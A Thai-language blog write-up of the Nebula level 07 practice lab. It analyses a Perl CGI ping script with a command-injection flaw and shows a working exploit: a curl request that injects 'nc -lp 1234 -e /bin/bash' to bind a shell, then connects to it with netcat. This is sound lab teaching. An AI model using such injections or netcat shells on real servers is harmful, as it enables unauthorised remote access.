Nebula เลเวล 07: ลองแฮกช่องโหว่ command injection บนเว็บ perl-cgi

Pichaya Morimoto
3 min readJun 1, 2016

--

ถ้าใครตามอ่านเลเวลก่อนหน้ามาจะพบว่ามีในเลเวล 02 ที่โจมตีช่องโหว่ command injection เช่นกัน แต่เป็นการ inject บน shell environment variable คราวนี้เรามาลองแฮกผ่านเว็บกัน ซึ่งเว็บที่ว่านี้เขียนด้วยภาษา perl และใช้ module cgi ในการทำงานบน protocol HTTP ครับ

โจทย์บอกว่า user flag07 เพิ่งเริ่มเขียนภาษา perl โดยโปรแกรมที่เขียนทำให้สามารถลอง ping เช็คเครื่องปลายทางว่าสามารถเข้าถึงได้รึเปล่า ซึ่งโปรแกรมที่ว่านี้ทำงานบน web server อีกทีครับ จากนั้นผมก็ลอง ssh เข้าไป user level07 รหัสผ่าน level07 เข้าไปหาข้อมูลเพิ่มเติมที่ /home/flag07/ เช่นเคย

$ ls -l /home/flag07/
total 5
-rwxr-xr-x 1 root root 368 2011-11-20 21:22 index.cgi
-rw-r--r-- 1 root root 3719 2011-11-20 21:22 thttpd.conf

สิ่งที่พบมี 2 อย่างคือ ไฟล์ index.cgi ที่เป็นโค้ดโปรแกรม กับ thttpd.conf ที่เป็นไฟล์เก็บการตั้งค่าของ web server ครับ มาลองดูกันทีละไฟล์เริ่มจากอันหลังก่อนละกัน (ขอดึงมาแต่บรรทัดสำคัญตัดบรรทัดที่ขึ้นต้นด้วย # เป็น comment ออกนะครับ)

$ cat /home/flag07/thttpd.conf |grep -v "^#"port=7007dir=/home/flag07nochrootuser=flag07cgipat=**.cgi

พบว่า…

  • ตัว web server ทำงานอยู่ที่ TCP port 7007
  • มี document root คือไฟล์ที่ดึงไปเป็นหน้าเว็บอยู่ที่ /home/flag07/
  • ไม่ได้ทำ chroot ไว้ (คือการป้องกันไม่ให้ web server มีสิทธิ์เข้าถึงไฟล์ล้ำขึ้นไปจาก document root ที่ตั้งไว้)
  • เว็บ web server ทำงานด้วยสิทธิ์ของ user flag07 จุดสำคัญอยู่ตรงนี้แหละครับ เนื่องจากถ้าเราแฮกเว็บ ทำ command injection ได้ เราจะได้ shell ในสิทธิ์ที่ web server ใช้ซึ่งคือ flag07 ทำให้เราสามารถยกระดับสิทธิ์ได้ครับ
  • cgipat อันนี้คือ การบอก pattern ของชื่อไฟล์ที่จะทำงานเป็น Perl CGI นะครับ คือลงท้ายด้วย .cgi นั้นเอง

กลับมาดูที่โค้ดของเว็บ index.cgi มาลองวิเคราะห์กันว่ามีช่องโหว่ยังไงนะครับ

$ cat /home/flag07/index.cgi
#!/usr/bin/perl
use CGI qw{param};print "Content-type: text/html\n\n";sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");}# check if Host set. if not, display normal page, etcping(param("Host"));

อธิบายการทำงานของเว็บนี้แบบคร่าว ๆ

  1. เริ่มแรก โปรแกรมทำงานด้วยการเรียกฟังก์ชัน ping() แล้วส่ง ค่า HTTP parameter ชื่อ Host เข้าไปเป็น argument
  2. ฟังก์ชัน ping() รับ argument มา ($_[0]) เข้าตัวแปร $host
  3. จากนั้นนำตัวแปร $host ไปใส่ใน backtick (`) ที่เป็นคำสั่ง ping การนำ backtick มาครอบแบบนี้ถือว่าเป็นการสั่งให้ perl รัน OS command ซึ่งก็คือ shell command นั้นแหละ โดยเรียกโปรแกรม ping -c 3 ต่อด้วยค่า $host ที่รับมาจาก HTTP parameter อีกที…

ถึงตรงนี้ก็ชัดเจนแล้วนะครับ ว่าเกิดช่องโหว่ Command Injection ขึ้นเพราะว่ารับค่าจาก user input มาใช้เป็น shell command โดยไม่ได้ validate/sanitize ค่าให้ปลอดภัยก่อน ทำให้แฮกเกอร์สามารถใส่คำสั่งอื่น ๆ (นอกเหนือจาก ping) เข้ามาทำงานบนเครื่อง web server ได้ แต่.. วิธีการโจมตีข้อนี้ก็จะต้องมีลูกเล่นนิดนึงนะครับ มาดูกันว่าทำยังไง

ทีนี้มาลองใช้งานเว็บปกติกันก่อน เนื่องจากเรารู้แล้วว่า web server ทำงานที่ TCP port 7007 จากไฟล์ thttpd.conf ดังนั้นผมจึงลองเข้าใช้งานจาก web browser ครับ

พบว่า สามารถเข้าหน้า /index.cgi ได้ เจอไฟล์ตามที่คาดหวังไว้ครับ จากนั้นก็ลองใส่ค่า Host ผ่านทาง HTTP GET ครับ

พบว่า index.cgi นำผลลัพธ์จากการสั่ง OS command มาโชว์บนหน้าเว็บตามโค้ด

@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }

ครับ ทีนี้ผมจะลองรันคำสั่ง id เพิ่มเข้าไปดู โดย exploit payload ของผมจะใช้ backtick ซ้อนเข้าไปอีกคู่นึงครับ ซึ่งคู่ด้านในจะถูกสั่งให้ทำงานก่อน แล้วนำค่านั้นมาใช้กับ backtick คู่ด้านนอกของคำสั่ง ping

ปรากฏว่ามีสิ่งเหนือความคาดหมายเกิดขึ้น ตรงนี้คำสั่ง id ถูกทำงาน เราสามารถ ทำ command injection ได้สำเร็จ แต่ทว่า ผลของคำสั่ง id มันต้องแสดง uid, gid และ group หนิ ทำไมออกมาแค่ uid? คำตอบก็คือเพราะว่ามันมี ช่องว่าง (space) คั่นระหว่างผลลัพธ์ของ `id` ทำให้ตอนที่สั่งคำสั่ง ping มันนับแค่ค่า ก่อนถึง space นั้น ถัดจากนั้นมันจะนับเป็น argument ตัวถัดไป ไม่ใช่ค่า Host ที่จะ ping แล้ว พอเกิด error ขึ้น ผลลัพธ์หลังจากช่องว่างนั้นจึงหายไปนี้เป็นเหตุผลที่อยากให้ทราบกันครับ วิธีแก้คือ ผมก็ใส่ double quote ครอบเข้าไปก็ได้ละ

จะเห็นว่าเราสามารถสั่ง OS command ด้วยสิทธิ์ของ flag07 ได้ เราจะสั่ง getflag ตรงนี้เลยก็ได้.. แต่บังเอินว่าผมชินกับการทำงานในมุมมองแฮกเกอร์ ต้องการจะ spawn shell ออกมาให้เข้าไป interact กับ shell ของ flag07 ได้ ผมจึงใช้ท่าเดิมที่เคยใช้ในเลเวล 03 crontab ไปคือการทำ bind shell ด้วย netcat ไม่ขอลงรายละเอียดซ้ำแล้วนะครับ ใครยังไม่ได้อ่านก็ตามไปอ่านกันได้ ขอทำเลยละกัน

ผมใช้ curl ยิงเข้า ไปด้วยคำสั่ง

$ curl -v 'http://192.168.99.100:7007/index.cgi?Host=`nc.traditional -lp 1234 -e /bin/bash`' &

เพื่อให้ netcat -lp ทำการ bind TCP port 1234 ไว้บนเครื่องด้วยสิทธิ์ของ web server ซึ่งคือ flag07 จากนั้นใช้ -e กำหนดว่าถ้ามีการเชื่อมต่อเข้ามาให้เปิด /bin/bash กลับไปให้คนที่ต่อเข้ามา แล้วผมก็ใช้ netcat ต่อเข้าไปครับ

$ nc 192.168.99.100 1234 -v

ผลคือ เราสามารถที่จะ spawn shell หลังจากที่ใช้ netcat ต่อเข้าไปได้ครับ เสร็จสิ้นการแฮกด้วยเทคนิค command injection เกร็ดเล็กน้อยเพิ่มเติมคือผมใช้ & หลังคำสั่ง curl เพราะว่าเวลายิงให้เว็บมัน bind port ไว้ หน้าเว็บมันจะหมุนติ้ว ๆ ค้างไว้ไม่ตอบกลับมา จนกว่าจะ ปิด connection หรือ timeout ไปเองนะครับ เมื่อใช้ & ปุ๊บมันก็จะไปรันอยู่ใน background ทำให้เราสั่ง nc ต่อเข้าไปได้ หรือใครจะใช้ terminal อีกหน้าต่อเข้าไปหรือใช้ browser ก็ได้ไม่ต่างกันครับ

ที่มา: https://exploit-exercises.com/nebula/level07/

--

--